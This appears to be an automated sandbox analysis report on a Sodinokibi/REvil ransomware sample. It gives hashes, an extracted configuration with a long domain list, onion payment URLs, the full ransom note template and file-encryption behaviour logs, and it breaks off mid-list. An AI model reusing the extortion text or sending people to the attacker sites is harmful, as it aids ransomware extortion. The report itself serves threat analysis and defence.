Analysis
-
max time kernel
32s -
max time network
110s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
01-02-2021 09:58
Static task
static1
Behavioral task
behavioral1
Sample
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe
Resource
win10v20201028
General
-
Target
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe
-
Size
561KB
-
MD5
23c745730da3466dc1e899d4420fc22d
-
SHA1
ce0c8814d7630f8636ffd73f8408a36dc0e1ca4d
-
SHA256
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68
-
SHA512
1d72b6f6299b56de01f4cc02becbfd38b27dda086583e54a9d9917f4ed2f6ec17d15a73554eff55ae5df83a1b3ce9839ed5f484109535eec2e5c550dd2f2409e
Malware Config
Extracted
C:\v8rvt82fty-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/189C13C557D9D018
http://decryptor.cc/189C13C557D9D018
Extracted
sodinokibi
aarvorg.com
dramagickcom.wordpress.com
modamilyon.com
devlaur.com
psc.de
americafirstcommittee.org
ostheimer.at
patrickfoundation.net
deoudedorpskernnoordwijk.nl
greenpark.ch
merzi.info
hypozentrum.com
iwr.nl
triggi.de
insidegarage.pl
nativeformulas.com
retroearthstudio.com
layrshift.eu
stingraybeach.com
ausbeverage.com.au
ecpmedia.vn
no-plans.com
lascuola.nl
ziegler-praezisionsteile.de
www1.proresult.no
maineemploymentlawyerblog.com
ontrailsandboulevards.com
d2marketing.co.uk
thailandholic.com
justinvieira.com
kafu.ch
manutouchmassage.com
commonground-stories.com
digi-talents.com
tetinfo.in
35-40konkatsu.net
ulyssemarketing.com
malychanieruchomoscipremium.com
rosavalamedahr.com
cirugiauretra.es
sobreholanda.com
mepavex.nl
ilive.lt
lightair.com
luxurytv.jp
lmtprovisions.com
kenhnoithatgo.com
bristolaeroclub.co.uk
waermetauscher-berechnen.de
ligiercenter-sachsen.de
marathonerpaolo.com
verifort-capital.de
conasmanagement.de
pay4essays.net
vitavia.lt
cityorchardhtx.com
scenepublique.net
commercialboatbuilding.com
qlog.de
urmasiimariiuniri.ro
sairaku.net
danielblum.info
makeurvoiceheard.com
baustb.de
pawsuppetlovers.com
panelsandwichmadrid.es
hebkft.hu
havecamerawilltravel2017.wordpress.com
simplyblessedbykeepingitreal.com
schmalhorst.de
better.town
ausair.com.au
ivivo.es
brigitte-erler.com
em-gmbh.ch
nacktfalter.de
prochain-voyage.net
maratonaclubedeportugal.com
grelot-home.com
ctrler.cn
ouryoungminds.wordpress.com
christ-michael.net
zzyjtsgls.com
all-turtles.com
gratispresent.se
rieed.de
rostoncastings.co.uk
8449nohate.org
chandlerpd.com
richard-felix.co.uk
hellohope.com
csgospeltips.se
spacecitysisters.org
webmaster-peloton.com
stacyloeb.com
zimmerei-fl.de
paulisdogshop.de
iviaggisonciliegie.it
parks-nuernberg.de
devok.info
baumkuchenexpo.jp
euro-trend.pl
effortlesspromo.com
gmto.fr
supportsumba.nl
wasmachtmeinfonds.at
cuspdental.com
seitzdruck.com
hrabritelefon.hr
pmcimpact.com
blumenhof-wegleitner.at
edv-live.de
tandartspraktijkheesch.nl
heliomotion.com
lillegrandpalais.com
mrsfieldskc.com
stallbyggen.se
baptisttabernacle.com
boosthybrid.com.au
revezlimage.com
iyahayki.nl
carrybrands.nl
simoneblum.de
bogdanpeptine.ro
tanzschule-kieber.de
walter-lemm.de
antenanavi.com
collaborativeclassroom.org
conexa4papers.trade
tonelektro.nl
phantastyk.com
microcirc.net
dublikator.com
d1franchise.com
huissier-creteil.com
modelmaking.nl
strandcampingdoonbeg.com
nataschawessels.com
celeclub.org
iphoneszervizbudapest.hu
perbudget.com
xn--thucmctc-13a1357egba.com
love30-chanko.com
frontierweldingllc.com
ftf.or.at
shonacox.com
artige.com
noesis.tech
imadarchid.com
deltacleta.cat
cerebralforce.net
krlosdavid.com
spinheal.ru
actecfoundation.org
lynsayshepherd.co.uk
art2gointerieurprojecten.nl
edgewoodestates.org
dontpassthepepper.com
arteservicefabbro.com
toponlinecasinosuk.co.uk
erstatningsadvokaterne.dk
gastsicht.de
notmissingout.com
solerluethi-allart.ch
hhcourier.com
upplandsspar.se
xtptrack.com
skiltogprint.no
streamerzradio1.site
siluet-decor.ru
kingfamily.construction
vancouver-print.ca
fayrecreations.com
jvanvlietdichter.nl
buymedical.biz
centrospgolega.com
kamienny-dywan24.pl
meusharklinithome.wordpress.com
jadwalbolanet.info
mbfagency.com
ventti.com.ar
naturavetal.hr
body-guards.it
urclan.net
klusbeter.nl
waywithwords.net
simpliza.com
unetica.fr
anteniti.com
homecomingstudio.com
plotlinecreative.com
mdacares.com
longislandelderlaw.com
fairfriends18.de
skanah.com
saarland-thermen-resort.com
the-virtualizer.com
lorenacarnero.com
pointos.com
alfa-stroy72.com
gw2guilds.org
mikeramirezcpa.com
firstpaymentservices.com
farhaani.com
365questions.org
myteamgenius.com
xoabigail.com
blossombeyond50.com
koko-nora.dk
bierensgebakkramen.nl
edelman.jp
seminoc.com
grupocarvalhoerodrigues.com.br
joyeriaorindia.com
ki-lowroermond.nl
abogadoengijon.es
systemate.dk
gonzalezfornes.es
dubscollective.com
jobcenterkenya.com
musictreehouse.net
michaelsmeriglioracing.com
tigsltd.com
mrsplans.net
colorofhorses.com
pierrehale.com
ohidesign.com
modestmanagement.com
bafuncs.org
rafaut.com
maxadams.london
autofolierung-lu.de
fotoscondron.com
lefumetdesdombes.com
xn--fnsterputssollentuna-39b.se
muamuadolls.com
vanswigchemdesign.com
aco-media.nl
stupbratt.no
abitur-undwieweiter.de
kuntokeskusrok.fi
kamahouse.net
selfoutlet.com
delchacay.com.ar
mariposapropaneaz.com
iqbalscientific.com
triactis.com
igorbarbosa.com
augenta.com
blewback.com
advokathuset.dk
julis-lsa.de
ecopro-kanto.com
ikads.org
accountancywijchen.nl
plantag.de
bundabergeyeclinic.com.au
krcove-zily.eu
ateliergamila.com
craftleathermnl.com
bouldercafe-wuppertal.de
marietteaernoudts.nl
boompinoy.com
woodleyacademy.org
mank.de
mediaplayertest.net
asteriag.com
webhostingsrbija.rs
blacksirius.de
stopilhan.com
neuschelectrical.co.za
asgestion.com
jolly-events.com
financescorecard.com
zweerscreatives.nl
stoeberstuuv.de
nijaplay.com
sarbatkhalsafoundation.org
4youbeautysalon.com
berlin-bamboo-bikes.org
ampisolabergeggi.it
oceanastudios.com
mylovelybluesky.com
bbsmobler.se
cursosgratuitosnainternet.com
nancy-informatique.fr
praxis-foerderdiagnostik.de
directwindowco.com
crowcanyon.com
theduke.de
senson.fi
parking.netgateway.eu
oldschoolfun.net
yamalevents.com
hatech.io
rehabilitationcentersinhouston.net
simpkinsedwards.co.uk
work2live.de
smokeysstoves.com
schoellhammer.com
forskolorna.org
bricotienda.com
portoesdofarrobo.com
tandartspraktijkhartjegroningen.nl
coffreo.biz
solhaug.tk
nestor-swiss.ch
naturalrapids.com
2ekeus.nl
zenderthelender.com
flexicloud.hk
helenekowalsky.com
vitalyscenter.es
tastewilliamsburg.com
cheminpsy.fr
oncarrot.com
tsklogistik.eu
team-montage.dk
aniblinova.wordpress.com
aurum-juweliere.de
tongdaifpthaiphong.net
sinal.org
agence-chocolat-noir.com
sofavietxinh.com
boldcitydowntown.com
coursio.com
beaconhealthsystem.org
kissit.ca
pasivect.co.uk
shsthepapercut.com
campusoutreach.org
songunceliptv.com
gopackapp.com
slashdb.com
filmstreamingvfcomplet.be
carriagehousesalonvt.com
monark.com
remcakram.com
mardenherefordshire-pc.gov.uk
destinationclients.fr
pt-arnold.de
eco-southafrica.com
samnewbyjax.com
milltimber.aberdeen.sch.uk
limassoldriving.com
strategicstatements.com
wolf-glas-und-kunst.de
comarenterprises.com
ftlc.es
spd-ehningen.de
renergysolution.com
thewellnessmimi.com
deepsouthclothingcompany.com
highlinesouthasc.com
alysonhoward.com
pomodori-pizzeria.de
vihannesporssi.fi
101gowrie.com
shadebarandgrillorlando.com
steampluscarpetandfloors.com
romeguidedvisit.com
biortaggivaldelsa.com
ravensnesthomegoods.com
levihotelspa.fi
planchaavapor.net
mindpackstudios.com
manijaipur.com
hushavefritid.dk
lachofikschiet.nl
mrxermon.de
balticdentists.com
ccpbroadband.com
apprendrelaudit.com
faroairporttransfers.net
kmbshipping.co.uk
leoben.at
campus2day.de
kaminscy.com
spylista.com
zieglerbrothers.de
digivod.de
copystar.co.uk
ungsvenskarna.se
kao.at
c-a.co.in
autodujos.lt
wien-mitte.co.at
craigvalentineacademy.com
tinyagency.com
siliconbeach-realestate.com
gadgetedges.com
fundaciongregal.org
ussmontanacommittee.us
first-2-aid-u.com
dutchbrewingcoffee.com
fitovitaforum.com
alvinschwartz.wordpress.com
ilso.net
seevilla-dr-sturm.at
todocaracoles.com
alhashem.net
atalent.fi
liikelataamo.fi
creamery201.com
behavioralmedicinespecialists.com
irishmachineryauctions.com
sw1m.ru
slupetzky.at
verbisonline.com
hmsdanmark.dk
marchand-sloboda.com
homesdollar.com
fensterbau-ziegler.de
abl1.net
dareckleyministries.com
id-et-d.fr
hotelsolbh.com.br
porno-gringo.com
mirjamholleman.nl
cranleighscoutgroup.org
bouncingbonanza.com
kaotikkustomz.com
broseller.com
artotelamsterdam.com
saxtec.com
ahouseforlease.com
theletter.company
space.ua
completeweddingkansas.com
global-kids.info
cursoporcelanatoliquido.online
stormwall.se
waynela.com
torgbodenbollnas.se
yourobgyn.net
calabasasdigest.com
bastutunnan.se
mousepad-direkt.de
cleliaekiko.online
classycurtainsltd.co.uk
harveybp.com
hairnetty.wordpress.com
ledmes.ru
tinkoff-mobayl.ru
smalltownideamill.wordpress.com
hkr-reise.de
body-armour.online
evologic-technologies.com
humancondition.com
visiativ-industry.fr
geisterradler.de
ceid.info.tr
chefdays.de
exenberger.at
ianaswanson.com
mooshine.com
freie-baugutachterpraxis.de
trapiantofue.it
promesapuertorico.com
urist-bogatyr.ru
darnallwellbeing.org.uk
wmiadmin.com
elpa.se
offroadbeasts.com
austinlchurch.com
danskretursystem.dk
nmiec.com
nachhilfe-unterricht.com
macabaneaupaysflechois.com
dinslips.se
toreria.es
danubecloud.com
dezatec.es
proudground.org
peterstrobos.com
autodemontagenijmegen.nl
candyhouseusa.com
cnoia.org
iwelt.de
starsarecircular.org
micro-automation.de
upmrkt.co
danholzmann.com
resortmtn.com
berliner-versicherungsvergleich.de
cortec-neuro.com
bayoga.co.uk
pier40forall.org
seproc.hn
bee4win.com
dnepr-beskid.com.ua
tanciu.com
adultgamezone.com
bunburyfreightservices.com.au
nvwoodwerks.com
run4study.com
kalkulator-oszczednosci.pl
galleryartfair.com
qualitus.com
pinkexcel.com
latestmodsapks.com
allentownpapershow.com
x-ray.ca
oemands.dk
xn--rumung-bua.online
coding-marking.com
personalenhancementcenter.com
pv-design.de
smhydro.com.pl
ruralarcoiris.com
goodgirlrecovery.com
lebellevue.fr
juneauopioidworkgroup.org
elimchan.com
maureenbreezedancetheater.org
spsshomeworkhelp.com
denifl-consulting.at
schutting-info.nl
globedivers.wordpress.com
spectrmash.ru
geoffreymeuli.com
abogadosadomicilio.es
bigler-hrconsulting.ch
fatfreezingmachines.com
drfoyle.com
xlarge.at
chavesdoareeiro.com
idemblogs.com
mapawood.com
boulderwelt-muenchen-west.de
foretprivee.ca
theclubms.com
slwgs.org
lucidinvestbank.com
vox-surveys.com
imperfectstore.com
smart-light.co.uk
trulynolen.co.uk
yousay.site
shiresresidential.com
wellplast.se
ymca-cw.org.uk
gemeentehetkompas.nl
walkingdeadnj.com
corola.es
rksbusiness.com
travelffeine.com
bigbaguettes.eu
architekturbuero-wagner.net
parkstreetauto.net
cactusthebrand.com
airconditioning-waalwijk.nl
deprobatehelp.com
bingonearme.org
amerikansktgodis.se
montrium.com
joseconstela.com
satyayoga.de
katiekerr.co.uk
calxplus.eu
smogathon.com
anybookreader.de
hashkasolutindo.com
brevitempore.net
delawarecorporatelaw.com
vesinhnha.com.vn
vyhino-zhulebino-24.ru
y-archive.com
vibehouse.rw
abuelos.com
huesges-gruppe.de
caribdoctor.org
jerling.de
stefanpasch.me
jsfg.com
bauertree.com
sportsmassoren.com
mdk-mediadesign.de
loprus.pl
precisionbevel.com
testcoreprohealthuk.com
odiclinic.org
i-trust.dk
sanaia.com
servicegsm.net
tampaallen.com
xn--logopdie-leverkusen-kwb.de
tomoiyuma.com
haremnick.com
kadesignandbuild.co.uk
herbstfeststaefa.ch
cafemattmeera.com
ilcdover.com
markelbroch.com
ncid.bc.ca
answerstest.ru
extensionmaison.info
gaiam.nl
minipara.com
importardechina.info
paymybill.guru
praxis-management-plus.de
rozemondcoaching.nl
thomasvicino.com
drinkseed.com
lapinvihreat.fi
eadsmurraypugh.com
makeflowers.ru
entopic.com
sipstroysochi.ru
antiaginghealthbenefits.com
wacochamber.com
milestoneshows.com
smithmediastrategies.com
otsu-bon.com
lukeshepley.wordpress.com
izzi360.com
oslomf.no
amylendscrestview.com
sotsioloogia.ee
edrcreditservices.nl
charlottepoudroux-photographie.fr
madinblack.com
associacioesportivapolitg.cat
vermoote.de
houseofplus.com
insp.bi
sanyue119.com
tomaso.gr
coding-machine.com
ino-professional.ru
tstaffing.nl
architecturalfiberglass.org
acomprarseguidores.com
ladelirante.fr
tradiematepro.com.au
123vrachi.ru
leda-ukraine.com.ua
onlyresultsmarketing.com
anthonystreetrimming.com
analiticapublica.es
vickiegrayimages.com
hiddencitysecrets.com.au
creative-waves.co.uk
thedresserie.com
purposeadvisorsolutions.com
theshungiteexperience.com.au
symphonyenvironmental.com
leeuwardenstudentcity.nl
babcockchurch.org
bptdmaluku.com
n1-headache.com
lange.host
withahmed.com
aminaboutique247.com
ai-spt.jp
intecwi.com
kunze-immobilien.de
chaotrang.com
westdeptfordbuyrite.com
worldhealthbasicinfo.com
helikoptervluchtnewyork.nl
pogypneu.sk
mooreslawngarden.com
mastertechengineering.com
balticdermatology.lt
myzk.site
suncrestcabinets.ca
softsproductkey.com
victoriousfestival.co.uk
compliancesolutionsstrategies.com
craigmccabe.fun
basisschooldezonnewijzer.nl
stemplusacademy.com
daniel-akermann-architektur-und-planung.ch
durganews.com
facettenreich27.de
osterberg.fi
associationanalytics.com
centuryrs.com
easytrans.com.au
smartypractice.com
cwsitservices.co.uk
lapinlviasennus.fi
highimpactoutdoors.net
kojima-shihou.com
ecoledansemulhouse.fr
kisplanning.com.au
penco.ie
bridgeloanslenders.com
tuuliautio.fi
latribuessentielle.com
sexandfessenjoon.wordpress.com
dr-pipi.de
summitmarketingstrategies.com
twohourswithlena.wordpress.com
vorotauu.ru
greenko.pl
autopfand24.de
thee.network
citymax-cr.com
hokagestore.com
teczowadolina.bytom.pl
celularity.com
higadograsoweb.com
321play.com.hk
plastidip.com.ar
adoptioperheet.fi
argos.wityu.fund
htchorst.nl
rollingrockcolumbia.com
mercantedifiori.com
brawnmediany.com
mirkoreisser.de
jasonbaileystudio.com
fizzl.ru
blood-sports.net
haar-spange.com
eraorastudio.com
garage-lecompte-rouen.fr
despedidascostablanca.es
zonamovie21.net
tanzprojekt.com
videomarketing.pro
poultrypartners.nl
sachnendoc.com
deschl.net
hexcreatives.co
groupe-frayssinet.fr
myhealth.net.au
castillobalduz.es
levdittliv.se
andersongilmour.co.uk
nhadatcanho247.com
i-arslan.de
wsoil.com.sg
corona-handles.com
interactcenter.org
truenyc.co
piajeppesen.dk
marketingsulweb.com
you-bysia.com.au
bigasgrup.com
rota-installations.co.uk
argenblogs.com.ar
noixdecocom.fr
micahkoleoso.de
gymnasedumanagement.com
groupe-cets.com
friendsandbrgrs.com
trackyourconstruction.com
promalaga.es
werkkring.nl
chatizel-paysage.fr
roygolden.com
smale-opticiens.nl
naturstein-hotte.de
desert-trails.com
artallnightdc.com
buroludo.nl
outcomeisincome.com
bestbet.com
faronics.com
handi-jack-llc.com
fitnessbazaar.com
pelorus.group
qualitaetstag.de
braffinjurylawfirm.com
testzandbakmetmening.online
blgr.be
ditog.fr
aakritpatel.com
comparatif-lave-linge.fr
web.ion.ag
allfortheloveofyou.com
xltyu.com
fransespiegels.nl
geekwork.pl
insigniapmg.com
the-domain-trader.com
foryourhealth.live
DupontSellsHomes.com
educar.org
rimborsobancario.net
burkert-ideenreich.de
memaag.com
bxdf.info
tux-espacios.com
thomas-hospital.de
schlafsack-test.net
abogados-en-alicante.es
harpershologram.wordpress.com
forestlakeuca.org.au
navyfederalautooverseas.com
transportesycementoshidalgo.es
uranus.nl
ora-it.de
milanonotai.it
courteney-cox.net
lichencafe.com
sahalstore.com
licor43.de
kaliber.co.jp
antonmack.de
xn--singlebrsen-vergleich-nec.com
winrace.no
alten-mebel63.ru
1team.es
esope-formation.fr
bouquet-de-roses.com
serce.info.pl
huehnerauge-entfernen.de
aglend.com.au
eaglemeetstiger.de
boisehosting.net
miriamgrimm.de
quickyfunds.com
pmc-services.de
alsace-first.com
pickanose.com
jacquin-maquettes.com
birnam-wood.com
hardinggroup.com
liliesandbeauties.org
troegs.com
baylegacy.com
tenacitytenfold.com
kojinsaisei.info
sabel-bf.com
manifestinglab.com
littlebird.salon
healthyyworkout.com
podsosnami.ru
degroenetunnel.com
faizanullah.com
noskierrenteria.com
greenfieldoptimaldentalcare.com
irinaverwer.com
blogdecachorros.com
evangelische-pfarrgemeinde-tuniberg.de
journeybacktolife.com
c2e-poitiers.com
surespark.org.uk
vietlawconsultancy.com
mylolis.com
smessier.com
tarotdeseidel.com
dw-css.de
wychowanieprzedszkolne.pl
schoolofpassivewealth.com
lenreactiv-shop.ru
fax-payday-loans.com
seagatesthreecharters.com
mountsoul.de
glennroberts.co.nz
pocket-opera.de
employeesurveys.com
beyondmarcomdotcom.wordpress.com
1kbk.com.ua
heurigen-bauer.at
leather-factory.co.jp
lbcframingelectrical.com
expandet.dk
allure-cosmetics.at
mytechnoway.com
norovirus-ratgeber.de
lionware.de
devstyle.org
diversiapsicologia.es
trystana.com
jenniferandersonwriter.com
caribbeansunpoker.com
newstap.com.ng
notsilentmd.org
ogdenvision.com
restaurantesszimmer.de
luckypatcher-apkz.com
radaradvies.nl
ncs-graphic-studio.com
sporthamper.com
jiloc.com
newyou.at
biapi-coaching.fr
hihaho.com
nakupunafoundation.org
lykkeliv.net
jobmap.at
aodaichandung.com
ivfminiua.com
lloydconstruction.com
gantungankunciakrilikbandung.com
shhealthlaw.com
enovos.de
zewatchers.com
denovofoodsgroup.com
fotoideaymedia.es
eglectonk.online
chrissieperry.com
id-vet.com
socialonemedia.com
midmohandyman.com
charlesreger.com
connectedace.com
maryloutaylor.com
sagadc.com
quizzingbee.com
sojamindbody.com
bsaship.com
hugoversichert.de
parkcf.nl
igrealestate.com
binder-buerotechnik.at
sandd.nl
div-vertriebsforschung.de
zso-mannheim.de
bordercollie-nim.nl
kevinjodea.com
labobit.it
cite4me.org
nuzech.com
mountaintoptinyhomes.com
vetapharma.fr
femxarxa.cat
milsing.hr
zflas.com
ihr-news.jp
mezhdu-delom.ru
kath-kirche-gera.de
happyeasterimages.org
xn--vrftet-pua.biz
corelifenutrition.com
parebrise-tla.fr
embracinghiscall.com
filmvideoweb.com
dsl-ip.de
atozdistribution.co.uk
icpcnj.org
stoneys.ch
linnankellari.fi
rerekatu.com
extraordinaryoutdoors.com
dekkinngay.com
herbayupro.com
ra-staudte.de
stemenstilte.nl
vdberg-autoimport.nl
besttechie.com
people-biz.com
funjose.org.gt
whyinterestingly.ru
veybachcenter.de
psnacademy.in
jorgobe.at
dpo-as-a-service.com
crowd-patch.co.uk
polychromelabs.com
bargningavesta.se
slimidealherbal.com
plv.media
ncuccr.org
paradicepacks.com
coastalbridgeadvisors.com
schraven.de
12starhd.online
whittier5k.com
hairstylesnow.site
sauschneider.info
pferdebiester.de
vloeren-nu.nl
roadwarrior.app
saka.gr
kindersitze-vergleich.de
almosthomedogrescue.dog
nurturingwisdom.com
kirkepartner.dk
narcert.com
heidelbergartstudio.gallery
polzine.net
lecantou-coworking.com
blog.solutionsarchitect.guru
baronloan.org
puertamatic.es
lubetkinmediacompanies.com
olejack.ru
webcodingstudio.com
uimaan.fi
jandaonline.com
mymoneyforex.com
partnertaxi.sk
marcuswhitten.site
mediaclan.info
jbbjw.com
raschlosser.de
finediningweek.pl
rhinosfootballacademy.com
fiscalsort.com
oneheartwarriors.at
verytycs.com
vibethink.net
theapifactory.com
kampotpepper.gives
wraithco.com
cyntox.com
wari.com.pe
solinegraphic.com
datacenters-in-europe.com
humanityplus.org
4net.guru
atmos-show.com
cuppacap.com
dirittosanitario.biz
jakekozmor.com
unim.su
nosuchthingasgovernment.com
crosspointefellowship.church
bildungsunderlebnis.haus
sloverse.com
thefixhut.com
rumahminangberdaya.com
bockamp.com
oneplusresource.org
maasreusel.nl
petnest.ir
nsec.se
sterlingessay.com
jyzdesign.com
galserwis.pl
mrtour.site
xn--fn-kka.no
dushka.ua
thenewrejuveme.com
lescomtesdemean.be
dr-tremel-rednitzhembach.de
dutchcoder.nl
bargningharnosand.se
moveonnews.com
slimani.net
simulatebrain.com
psa-sec.de
cimanchesterescorts.co.uk
agence-referencement-naturel-geneve.net
international-sound-awards.com
fitnessingbyjessica.com
judithjansen.com
kariokids.com
bhwlawfirm.com
mooglee.com
nokesvilledentistry.com
pubweb.carnet.hr
assurancesalextrespaille.fr
securityfmm.com
reddysbakery.com
villa-marrakesch.de
zimmerei-deboer.de
iyengaryogacharlotte.com
aunexis.ch
bowengroup.com.au
fibrofolliculoma.info
profectis.de
logopaedie-blomberg.de
themadbotter.com
beautychance.se
hotelzentral.at
mmgdouai.fr
instatron.net
bodyfulls.com
sportiomsportfondsen.nl
consultaractadenacimiento.com
philippedebroca.com
talentwunder.com
advizewealth.com
johnsonfamilyfarmblog.wordpress.com
refluxreducer.com
darrenkeslerministries.com
bradynursery.com
karacaoglu.nl
kosterra.com
officehymy.com
quemargrasa.net
dr-seleznev.com
wurmpower.at
launchhubl.com
centromarysalud.com
morawe-krueger.de
makeitcount.at
itelagen.com
pcp-nc.com
spargel-kochen.de
drnice.de
kedak.de
physiofischer.de
punchbaby.com
knowledgemuseumbd.com
kikedeoliveira.com
tips.technology
gporf.fr
teknoz.net
hvccfloorcare.com
pixelarttees.com
vannesteconstruct.be
echtveilig.nl
abogadosaccidentetraficosevilla.es
lapmangfpt.info.vn
norpol-yachting.com
syndikat-asphaltfieber.de
sla-paris.com
mir-na-iznanku.com
clos-galant.com
hoteledenpadova.it
camsadviser.com
katketytaanet.fi
synlab.lt
controldekk.com
crediacces.com
stampagrafica.es
falcou.fr
jusibe.com
thaysa.com
brandl-blumen.de
figura.team
finde-deine-marke.de
deko4you.at
freie-gewerkschaften.de
kidbucketlist.com.au
socstrp.org
botanicinnovations.com
ralister.co.uk
real-estate-experts.com
operaslovakia.sk
caffeinternet.it
mediaacademy-iraq.org
daklesa.de
new.devon.gov.uk
yassir.pro
aprepol.com
christinarebuffetcourses.com
bookspeopleplaces.com
ceres.org.au
platformier.com
myhostcloud.com
bloggyboulga.net
polymedia.dk
rebeccarisher.com
thedad.com
otto-bollmann.de
opatrovanie-ako.sk
apolomarcas.com
tecnojobsnet.com
admos-gleitlager.de
allamatberedare.se
pridoxmaterieel.nl
nicoleaeschbachorg.wordpress.com
theadventureedge.com
bodyforwife.com
evergreen-fishing.com
backstreetpub.com
familypark40.com
croftprecision.co.uk
rocketccw.com
imaginado.de
jeanlouissibomana.com
smejump.co.th
koken-voor-baby.nl
shiftinspiration.com
stoeferlehalle.de
pasvenska.se
projetlyonturin.fr
readberserk.com
tennisclubetten.nl
carlosja.com
gasolspecialisten.se
dubnew.com
turkcaparbariatrics.com
girlillamarketing.com
teresianmedia.org
klimt2012.info
pivoineetc.fr
sevenadvertising.com
pcprofessor.com
kostenlose-webcams.com
naswrrg.org
takeflat.com
aselbermachen.com
corendonhotels.com
dlc.berlin
waveneyrivercentre.co.uk
asiluxury.com
carolinepenn.com
tulsawaterheaterinstallation.com
executiveairllc.com
transliminaltribe.wordpress.com
bimnapratica.com
miraclediet.fun
live-con-arte.de
zervicethai.co.th
lusak.at
liveottelut.com
henricekupper.com
mbxvii.com
igfap.com
gasbarre.com
homng.net
hannah-fink.de
appsformacpc.com
fannmedias.com
gamesboard.info
epwritescom.wordpress.com
nandistribution.nl
catholicmusicfest.com
sportverein-tambach.de
southeasternacademyofprosthodontics.org
presseclub-magdeburg.de
tophumanservicescourses.com
live-your-life.jp
woodworkersolution.com
rushhourappliances.com
onlybacklink.com
sweering.fr
jameskibbie.com
innote.fi
drugdevice.org
-
pid
$2a$10$HkGWU19jchMZucMO1CskOeQ3CMFGC/XK9ad91ZajdP/aBULE62o02
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome PRIME MOTOR GROUP ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] Downloaded your data! Public information! [+] We downloaded 100Gb of your information. If you don't pay, we publish full archive here: http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/115?s=ec1ef249d454fc83514a22ac85fdf72b [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
4973
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\UnregisterUse.tiff 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File renamed C:\Users\Admin\Pictures\DenyGet.png => \??\c:\users\admin\pictures\DenyGet.png.v8rvt82fty 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File renamed C:\Users\Admin\Pictures\NewConnect.crw => \??\c:\users\admin\pictures\NewConnect.crw.v8rvt82fty 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File renamed C:\Users\Admin\Pictures\SetDisable.crw => \??\c:\users\admin\pictures\SetDisable.crw.v8rvt82fty 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File renamed C:\Users\Admin\Pictures\SyncComplete.tiff => \??\c:\users\admin\pictures\SyncComplete.tiff.v8rvt82fty 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File renamed C:\Users\Admin\Pictures\SyncCheckpoint.raw => \??\c:\users\admin\pictures\SyncCheckpoint.raw.v8rvt82fty 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File renamed C:\Users\Admin\Pictures\UnregisterUse.tiff => \??\c:\users\admin\pictures\UnregisterUse.tiff.v8rvt82fty 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\users\admin\pictures\SyncComplete.tiff 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
